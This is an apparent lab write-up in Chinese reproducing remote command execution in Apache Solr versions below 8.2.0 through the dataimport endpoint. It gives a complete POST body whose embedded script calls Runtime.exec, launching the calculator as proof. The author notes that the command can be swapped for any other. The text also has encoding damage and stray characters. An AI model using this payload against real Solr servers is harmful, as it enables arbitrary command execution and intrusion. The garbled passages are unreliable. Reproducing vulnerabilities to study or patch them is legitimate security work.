感謝指路:https://www.cnblogs.com/paperpen/p/11328728.html
影響范圍
Apache Solr < 8.2.0
1.先把下載好的文件解壓
image.png
2.然后在cmd或powershell中打開澜倦,讓應(yīng)用運(yùn)行起來
image.png
3.查看模塊名稱 http://localhost:8983/solr/admin/cores
image.png
4.構(gòu)造命令執(zhí)行 http://localhost:8983/solr/atom/dataimport
image.png
# POST內(nèi)容的主體
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=atom&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(row){
var process= java.lang.Runtime.getRuntime();
process.exec("calc");
return row;
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
中間遇到一點(diǎn)小問題,entity這個(gè)標(biāo)簽中每個(gè)屬性之間都要有空格,從別人那粘過來的時(shí)候沒有空格導(dǎo)致報(bào)錯(cuò)元素類型 * 必須后跟屬性規(guī)范 ">" 或 "/>"
5.這樣就彈出了計(jì)算器,命令執(zhí)行成功
命令寫在POST body中的js腳本中process.exec()方法中可以按需修改